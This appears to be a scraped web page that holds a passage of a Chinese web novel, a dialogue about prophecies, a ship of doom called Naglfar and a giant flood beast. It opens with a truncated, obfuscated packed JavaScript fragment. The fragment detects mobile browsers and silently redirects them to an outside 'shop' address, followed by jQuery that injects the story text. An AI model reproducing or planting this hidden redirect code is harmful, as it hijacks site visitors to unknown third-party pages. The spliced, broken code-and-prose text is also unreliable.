d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209217|142923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解。 “你来找我，是想知道什么，还是想合作什么？” “合作？我不需要合作。 ”萧顺清随意向后一靠，地面上瞬间多出一个和船一体的椅子，她坐在上面看着施道玄，凭空多了几分盛气凌人。 “所以是想知道更多消息了。方柏霓难道没有告诉你所有的一切吗？” “大概吧，不过她跟你一样，刚见面就想算计我，所以我只信其中一半，另一半，你应该能补齐吧。” 施道玄以为方柏霓全盘托出了，只是萧顺清又想找一个人确认方柏霓的言论而已，毕竟萧顺清说的情况很合理，她也猜测方柏霓在一开始见到萧顺清时并不只想合作。 “我该从哪里讲起呢？” 萧顺清提示一般：“就从圣经讲起吧，我倒想知道，这人为什么能够取信你们所有人，让人期待一个不知道存不存在的救世主来拯救她们。” 施道玄眸光闪烁一丝疑惑，“不知道存不存在？难道你不是救世主？” 萧顺清顺口便道：“难道诺亚一定就是救世主吗？” 自然极了。 施道玄觉得她就是诺亚，只是不喜欢被称为救世主。毕竟先前她们也短暂打过交道，这样一个冷静而心狠手辣的女人，应该没兴趣当别人的救世主。 她想到这里，笑了一下，她觉得方柏霓肯定试图对着萧顺清灌输她的救世主义，但方柏霓终究不擅长观察人心。 萧顺清这样的人，怎么会被大义裹挟？ 施道玄似乎应和她的话，“救世主……重要的应该是‘主’？你是这艘船的主人，所有人都会依赖你才能活。” 萧顺清呼吸一顿。 施道玄以为她心动了。 但萧顺清只是刮目相看，原来就算施道玄不用异能，本身也具有极强的鼓动人心的能力。 不过她还是猜错了，她对这个也没有兴趣。 只是既然施道玄这么想，那就让她这么以为吧。 “你可以继续说了。” 施道玄想了想，终于回忆起萧顺清的提醒，以圣经的预言为脉络，讲述她们的救世计划，似乎的确是个好的选择。 “圣经来到高原后，总共做过十次预言，其中最重要的有两条。” 为了不遗漏，也为了让施道玄不好撒谎，萧顺清让她讲每一个预言都说出来。 施道玄不可能一瞬间编号那么多瞎话，萧顺清也能得到更多的信息。 于是施道玄一个个讲述，终于落入最重要的两条上。 “第九条，其实才是圣经在高原上说的第一个预言，我们也因此重视了他。羽人将会带来诺亚的消息，人类的未来在波澜之上。” “第十条，纳吉尔法的船承载末路，无名之辈孕育新的大陆。纳吉尔法也同样是个异能者，但她还没有出现，圣经即将醒来，也许你应该先让方柏霓把人送上船，如今诺亚出现了，她应该在寻找纳吉尔法。” 萧顺清压在手臂下的指尖一跳，微妙的，又有了不好的预感。 可惜施道玄没有看见。 船……‘纳吉法尔’也有船，而这艘船，承载了末路？ 萧顺清心跳加速，以前一些疑点好像也被填补。 所以，存在另外一艘船，它和诺亚方舟完全相反，诺亚代表了希望，纳吉法尔则是……末路。 怪不得，方柏霓坚持要萧顺清做测试，因为有一艘船也不代表她就是诺亚，怪不得这些人的态度奇怪，即使知道她有一艘船也没有将她当做救世主…… 怪不得…… 因为她压根儿有可能就不是诺亚啊！ 末路，真绝望的一个词。 萧顺清不希望自己是那个末路之人。 她需要确认更多的信息。 “纳吉什么……法尔？没听过，方柏霓可没有告诉我还有这一条预言，你在骗我？” 施道玄一愣：“我骗你做什么。难道方柏霓也像我一样列举了所有的预言吗？她都知道你是诺亚了，没有必要将纳吉法尔的事也告诉你，我了解她，她没有什么耐心，喜欢高效的计划行为，不跟你说才正常吧。” 萧顺清狐疑地看她，似乎并未打消怀疑：“那你说，我自会去跟方柏霓验证。纳吉法尔的船承载末路是什么意思？难道如果幸存者上了这艘船就会全部走向死亡？” 施道玄谨慎的确认一遍：“你真的是诺亚吧？” “呵，方柏霓带着那个检测异能的人上了船，难道还能有错？” 施道玄相信了。 要是萧顺清检测出来是纳吉法尔，她刚刚也不会一副没有听过这个名字的反应。 她检测时应该只听见了自己异能的名字，方柏霓也觉得没有必要让她知道其他多余的事，自然不会说。 施道玄心里有点高兴，至少萧顺清是从她这儿得到了新的信息，她在萧顺清这儿的赢面更大。 她解释道： “纳吉法尔，也是西方神话故事中的船，传说中祂的船是由人的指甲做成，会顺着洪水从东方驶向战场，船上承载着巨人，怪物，与神开战。” “圣经预言之后不久，我们的探测机器发现了一只怪物的踪迹，它在洪水中行走，每日都在增长身体的大小，几乎有一座岛屿那么大……而且，它也同样在前来高原的路上，我们经过推测，只能认定纳吉法尔如果出现，将会带上攻击性的异能者，和那只巨兽死战，阻止怪物入侵人类最后的陆地。原本以为纳吉法尔会先出现，不过诺亚预言在先，这也合逻辑。” 萧顺清咬住嘴唇里的肉，让自己能够清醒理智地思考。 如果她是诺亚，她就要接受幸存者，带着她们走向未来。 如果她是纳吉法尔，那她就要带着一群要死的人，一起死在阻拦巨兽的路上？ 萧顺清想笑，但她没笑，只是嘲讽：“按你们的逻辑，如果巨兽入侵，人类也会灭绝，那么纳吉法尔为什么没有被你们视为救世主？” “因为纳吉法尔注定要与神对抗，我们……” 施道玄将话隐藏在微笑中，大概是尽在不言中。 萧顺清也的确懂了。 因为方柏霓和其他救世计划的人相信神会救她们，自然不会认为和神做对抗的船能救世。 总之，适合纳吉法尔的结局，最好也是带着一群“没用的人”奔向死亡。